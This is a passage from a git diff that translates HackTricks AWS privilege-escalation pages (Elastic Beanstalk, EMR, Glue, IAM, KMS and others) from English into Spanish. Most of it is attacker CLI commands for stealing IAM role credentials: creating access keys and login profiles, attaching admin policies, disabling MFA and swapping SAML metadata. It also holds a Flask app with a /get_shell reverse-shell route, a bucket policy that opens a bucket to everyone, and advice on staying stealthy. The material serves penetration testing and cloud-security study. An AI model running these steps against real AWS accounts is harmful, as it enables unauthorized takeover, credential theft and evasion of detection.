`elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it. +### `elasticbeanstalk:RebuildEnvironment`, permisos de escritura en S3 y muchos otros +Con **permisos de escritura sobre el bucket de S3** que contiene el **código** del entorno y permisos para **reconstruir** la aplicación (se necesita `elasticbeanstalk:RebuildEnvironment` y algunos más relacionados con `S3`, `EC2` y `Cloudformation`), puedes **modificar** el **código**, **reconstruir** la app y la próxima vez que accedas a la app se **ejecutará tu nuevo código**, permitiendo al atacante comprometer la aplicación y las credenciales del rol IAM de la misma. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, y más... -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... - -The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch. - -- Create an AWS Elastic Beanstalk application: +Los mencionados más varios permisos de **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** y **`elasticloadbalancing`** son necesarios para crear un escenario básico de Elastic Beanstalk desde cero. +- Crear una aplicación de AWS Elastic Beanstalk: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` - -- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): - +- Crear un entorno de AWS Elastic Beanstalk ([**plataformas soportadas**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` +Si ya se ha creado un entorno y **no quieres crear uno nuevo**, puedes simplemente **actualizar** el existente. -If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one. - -- Package your application code and dependencies into a ZIP file: - +- Empaqueta tu código de aplicación y dependencias en un archivo ZIP: ```python zip -r MyApp.zip . ``` - -- Upload the ZIP file to an S3 bucket: - +- Cargue el archivo ZIP a un bucket de S3: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` - -- Create an AWS Elastic Beanstalk application version: - +- Crear una versión de aplicación de AWS Elastic Beanstalk: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` - -- Deploy the application version to your AWS Elastic Beanstalk environment: - +- Despliega la versión de la aplicación en tu entorno de AWS Elastic Beanstalk: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` - ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**: +Primero que nada, necesitas crear un **entorno Beanstalk legítimo** con el **código** que te gustaría ejecutar en la **víctima** siguiendo los **pasos anteriores**. Potencialmente un simple **zip** que contenga estos **2 archivos**: {{#tabs }} {{#tab name="application.py" }} - ```python from flask import Flask, request, jsonify import subprocess,os, socket @@ -89,34 +74,32 @@ application = Flask(__name__) @application.errorhandler(404) def page_not_found(e): - return jsonify('404') +return jsonify('404') @application.route("/") def index(): - return jsonify('Welcome!') +return jsonify('Welcome!') @application.route("/get_shell") def search(): - host=request.args.get('host') - port=request.args.get('port') - if host and port: - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - s.connect((host,int(port))) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(["/bin/sh","-i"]) - return jsonify('done') +host=request.args.get('host') +port=request.args.get('port') +if host and port: +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect((host,int(port))) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(["/bin/sh","-i"]) +return jsonify('done') if __name__=="__main__": - application.run() +application.run() ``` - {{#endtab }} {{#tab name="requirements.txt" }} - ``` click==7.1.2 Flask==1.1.2 @@ -125,44 +108,42 @@ Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1 ``` - {{#endtab }} {{#endtabs }} -Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**): - +Una vez que tengas **tu propio entorno de Beanstalk ejecutando** tu rev shell, es hora de **migrarlo** al entorno de los **víctimas**. Para hacerlo, necesitas **actualizar la política del bucket** de tu bucket S3 de Beanstalk para que el **víctima pueda acceder a él** (Ten en cuenta que esto **abrirá** el bucket a **TODOS**): ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "s3:ListBucket", - "s3:ListBucketVersions", - "s3:GetObject", - "s3:GetObjectVersion", - "s3:*" - ], - "Resource": [ - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" - ] - }, - { - "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", - "Effect": "Deny", - "Principal": { - "AWS": "*" - }, - "Action": "s3:DeleteBucket", - "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"s3:ListBucket", +"s3:ListBucketVersions", +"s3:GetObject", +"s3:GetObjectVersion", +"s3:*" +], +"Resource": [ +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" +] +}, +{ +"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", +"Effect": "Deny", +"Principal": { +"AWS": "*" +}, +"Action": "s3:DeleteBucket", +"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" +} +] } ``` @@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 0025abe52..d2c485f65 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -More **info about EMR** in: +Más **info sobre EMR** en: {{#ref}} ../aws-services/aws-emr-enum.md @@ -12,57 +12,51 @@ More **info about EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` -An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\ -Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`). - +Un atacante con estos permisos puede **ejecutar un nuevo clúster EMR adjuntando roles de EC2** e intentar robar sus credenciales.\ +Ten en cuenta que para hacer esto necesitarías **conocer alguna clave privada ssh importada en la cuenta** o importar una, y poder **abrir el puerto 22 en el nodo maestro** (puedes ser capaz de hacer esto con los atributos `EmrManagedMasterSecurityGroup` y/o `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" chmod 400 /tmp/sshkey base64 /tmp/sshkey.pub > /tmp/pub.key aws ec2 import-key-pair \ - --key-name "privesc" \ - --public-key-material file:///tmp/pub.key +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key aws emr create-cluster \ - --release-label emr-5.15.0 \ - --instance-type m4.large \ - --instance-count 1 \ - --service-role EMR_DefaultRole \ - --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc # Wait 1min and connect via ssh to an EC2 instance of the cluster) aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` +Note cómo un **rol EMR** se especifica en `--service-role` y un **rol ec2** se especifica en `--ec2-attributes` dentro de `InstanceProfile`. Sin embargo, esta técnica solo permite robar las credenciales del rol EC2 (ya que te conectarás a través de ssh) pero no el Rol IAM de EMR. -Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. - -**Potential Impact:** Privesc to the EC2 service role specified. +**Impacto Potencial:** Privesc al rol de servicio EC2 especificado. ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. +Con estos permisos, un atacante puede ir a la **consola de AWS**, crear un Notebook y acceder a él para robar el Rol IAM. > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related. +> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que podía robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Impacto Potencial:** Privesc al rol gestionado por AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile ### `elasticmapreduce:OpenEditorInConsole` -Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ -The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` +Solo con este permiso, un atacante podrá acceder al **Jupyter Notebook y robar el rol IAM** asociado a él.\ +La URL del notebook es `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related +> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que podía robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Impacto Potencial:** Privesc al rol gestionado por AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index b40cdf413..295fc0907 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,19 +4,13 @@ ### `gamelift:RequestUploadCredentials` -With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**. - +Con este permiso, un atacante puede recuperar un **nuevo conjunto de credenciales para usar al subir** un nuevo conjunto de archivos de construcción de juegos a Amazon GameLift's Amazon S3. Devolverá **credenciales de carga de S3**. ```bash aws gamelift request-upload-credentials \ - --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` - -## References +## Referencias - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 049d3b273..1b952e32c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,15 +6,14 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint. - -After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role: +Los usuarios con estos permisos pueden **configurar un nuevo punto de enlace de desarrollo de AWS Glue**, **asignando un rol de servicio existente asumible por Glue** con permisos específicos a este punto de enlace. +Después de la configuración, el **atacante puede SSH en la instancia del punto de enlace**, y robar las credenciales IAM del rol asignado: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ - --role-arn \ - --public-key file:///ssh/key.pub +--role-arn \ +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` +Para propósitos de sigilo, se recomienda usar las credenciales de IAM desde dentro de la máquina virtual de Glue. -For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine. - -**Potential Impact:** Privesc to the glue service role specified. +**Impacto Potencial:** Privesc al rol de servicio de Glue especificado. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role: - +Los usuarios con este permiso pueden **alterar la clave SSH de un** endpoint de desarrollo de Glue existente, **habilitando el acceso SSH a él**. Esto permite al atacante ejecutar comandos con los privilegios del rol adjunto al endpoint: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ - --public-key file:///ssh/key.pub +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -44,13 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` - -**Potential Impact:** Privesc to the glue service role used. +**Impacto Potencial:** Privesc al rol del servicio glue utilizado. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role: - +Los usuarios con **`iam:PassRole`** combinado con **`glue:CreateJob` o `glue:UpdateJob`**, y **`glue:StartJobRun` o `glue:CreateTrigger`** pueden **crear o actualizar un trabajo de AWS Glue**, adjuntando cualquier **cuenta de servicio de Glue**, e iniciar la ejecución del trabajo. Las capacidades del trabajo incluyen ejecutar código Python arbitrario, que puede ser explotado para establecer un shell inverso. Este shell inverso puede ser utilizado para exfiltrar las **credenciales IAM** del rol adjunto al trabajo de Glue, lo que lleva a un posible acceso no autorizado o acciones basadas en los permisos de ese rol: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U # A Glue role with admin access was created aws glue create-job \ - --name privesctest \ - --role arn:aws:iam::93424712358:role/GlueAdmin \ - --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' # You can directly start the job aws glue start-job-run --job-name privesctest # Or you can create a trigger to start it aws glue create-trigger --name triggerprivesc --type SCHEDULED \ - --actions '[{"JobName": "privesctest"}]' --start-on-creation \ - --schedule "0/5 * * * * *" #Every 5mins, feel free to change +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ +--schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` - -**Potential Impact:** Privesc to the glue service role specified. +**Impacto Potencial:** Privesc al rol del servicio glue especificado. ### `glue:UpdateJob` -Just with the update permission an attacked could steal the IAM Credentials of the already attached role. +Solo con el permiso de actualización, un atacante podría robar las credenciales IAM del rol ya adjunto. -**Potential Impact:** Privesc to the glue service role attached. +**Impacto Potencial:** Privesc al rol del servicio glue adjunto. -## References +## Referencias - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 7807f6152..84232e8df 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -For more info about IAM check: +Para más información sobre IAM, consulta: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,228 +12,189 @@ For more info about IAM check: ### **`iam:CreatePolicyVersion`** -Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions. - -**Exploit Command:** +Otorga la capacidad de crear una nueva versión de política IAM, eludiendo la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar la bandera `--set-as-default`. Esto permite definir permisos personalizados. +**Comando de Explotación:** ```bash aws iam create-policy-version --policy-arn \ - --policy-document file:///path/to/administrator/policy.json --set-as-default +--policy-document file:///path/to/administrator/policy.json --set-as-default ``` - -**Impact:** Directly escalates privileges by allowing any action on any resource. +**Impacto:** Escalación de privilegios directamente al permitir cualquier acción en cualquier recurso. ### **`iam:SetDefaultPolicyVersion`** -Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions. - -**Bash Command:** +Permite cambiar la versión predeterminada de una política IAM a otra versión existente, lo que puede escalar privilegios si la nueva versión tiene más permisos. +**Comando Bash:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` - -**Impact:** Indirect privilege escalation by enabling more permissions. +**Impacto:** Escalación de privilegios indirecta al habilitar más permisos. ### **`iam:CreateAccessKey`** -Enables creating access key ID and secret access key for another user, leading to potential privilege escalation. - -**Exploit:** +Permite crear un ID de clave de acceso y una clave de acceso secreta para otro usuario, lo que puede llevar a una posible escalación de privilegios. +**Explotar:** ```bash aws iam create-access-key --user-name ``` - -**Impact:** Direct privilege escalation by assuming another user's extended permissions. +**Impacto:** Escalación de privilegios directa al asumir los permisos extendidos de otro usuario. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation. - -**Exploit for Creation:** +Permite crear o actualizar un perfil de inicio de sesión, incluyendo la configuración de contraseñas para el inicio de sesión en la consola de AWS, lo que lleva a una escalación de privilegios directa. +**Explotación para la Creación:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Exploit for Update:** - +**Explotar para Actualizar:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Impact:** Direct privilege escalation by logging in as "any" user. +**Impacto:** Escalación de privilegios directa al iniciar sesión como "cualquier" usuario. ### **`iam:UpdateAccessKey`** -Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key. - -**Exploit:** +Permite habilitar una clave de acceso deshabilitada, lo que podría llevar a un acceso no autorizado si el atacante posee la clave deshabilitada. +**Explotar:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` - -**Impact:** Direct privilege escalation by reactivating access keys. +**Impacto:** Escalación de privilegios directa al reactivar claves de acceso. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. - -**Exploit for Creation:** +Permite generar o restablecer credenciales para servicios específicos de AWS (por ejemplo, CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado. +**Explotación para Creación:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` - -**Exploit for Reset:** - +**Explotar para Restablecer:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` - -**Impact:** Direct privilege escalation within the user's service permissions. +**Impacto:** Escalación directa de privilegios dentro de los permisos del servicio del usuario. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy. - -**Exploit for User:** +Permite adjuntar políticas a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la política adjunta. +**Explotar para el Usuario:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` - -**Exploit for Group:** - +**Explotar para Grupo:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` - -**Impact:** Direct privilege escalation to anything the policy grants. +**Impacto:** Escalación de privilegios directa a cualquier cosa que la política otorgue. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions. - -**Exploit for Role:** +Permite adjuntar o poner políticas a roles, usuarios o grupos, lo que habilita la escalación de privilegios directa al otorgar permisos adicionales. +**Explotar para Rol:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` - -**Exploit for Inline Policies:** - +**Explotar políticas en línea:** ```bash aws iam put-user-policy --user-name --policy-name "" \ - --policy-document "file:///path/to/policy.json" +--policy-document "file:///path/to/policy.json" aws iam put-group-policy --group-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json aws iam put-role-policy --role-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json ``` - -You can use a policy like: - +Puedes usar una política como: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } ``` - -**Impact:** Direct privilege escalation by adding permissions through policies. +**Impacto:** Escalación de privilegios directa al agregar permisos a través de políticas. ### **`iam:AddUserToGroup`** -Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions. - -**Exploit:** +Permite agregarse a uno mismo a un grupo de IAM, escalando privilegios al heredar los permisos del grupo. +**Explotar:** ```bash aws iam add-user-to-group --group-name --user-name ``` - -**Impact:** Direct privilege escalation to the level of the group's permissions. +**Impacto:** Escalación directa de privilegios al nivel de los permisos del grupo. ### **`iam:UpdateAssumeRolePolicy`** -Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions. - -**Exploit:** +Permite alterar el documento de política de asunción de rol de un rol, lo que permite la asunción del rol y sus permisos asociados. +**Explotar:** ```bash aws iam update-assume-role-policy --role-name \ - --policy-document file:///path/to/assume/role/policy.json +--policy-document file:///path/to/assume/role/policy.json ``` - -Where the policy looks like the following, which gives the user permission to assume the role: - +Donde la política se ve como la siguiente, que le da al usuario permiso para asumir el rol: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "sts:AssumeRole", - "Principal": { - "AWS": "$USER_ARN" - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] } ``` - -**Impact:** Direct privilege escalation by assuming any role's permissions. +**Impacto:** Escalación de privilegios directa al asumir los permisos de cualquier rol. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation. - -**Exploit for SSH Key Upload:** +Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede llevar a una posible escalación de privilegios indirecta. +**Explotación para la carga de clave SSH:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` - -**Exploit for MFA Deactivation:** - +**Explotar para la desactivación de MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` - -**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. +**Impacto:** Escalación de privilegios indirecta al habilitar el acceso a CodeCommit o deshabilitar la protección MFA. ### **`iam:ResyncMFADevice`** -Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection. - -**Bash Command:** +Permite la resincronización de un dispositivo MFA, lo que puede llevar a una escalación de privilegios indirecta al manipular la protección MFA. +**Comando Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ - --authentication-code1 --authentication-code2 +--authentication-code1 --authentication-code2 ``` - -**Impact:** Indirect privilege escalation by adding or manipulating MFA devices. +**Impacto:** Escalación de privilegios indirecta al agregar o manipular dispositivos MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it. - -Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back +Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **rol que confíe** en ella. +Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, así que puedes poner el tuyo, iniciar sesión y configurar el anterior de nuevo. ```bash # List SAMLs aws iam list-saml-providers @@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` - > [!NOTE] -> TODO: A Tool capable of generating the SAML metadata and login with a specified role +> TODO: Una herramienta capaz de generar los metadatos SAML e iniciar sesión con un rol especificado ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider. - +(No estoy seguro sobre esto) Si un atacante tiene estos **permisos**, podría agregar un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor. ```bash # List providers aws iam list-open-id-connect-providers @@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` - -## References +## Referencias - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 02c05b76d..fc9357dda 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -For more info about KMS check: +Para más información sobre KMS, consulta: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,8 +12,7 @@ For more info about KMS check: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone: - +Con estos permisos es posible **modificar los permisos de acceso a la clave** para que pueda ser utilizada por otras cuentas o incluso por cualquiera: 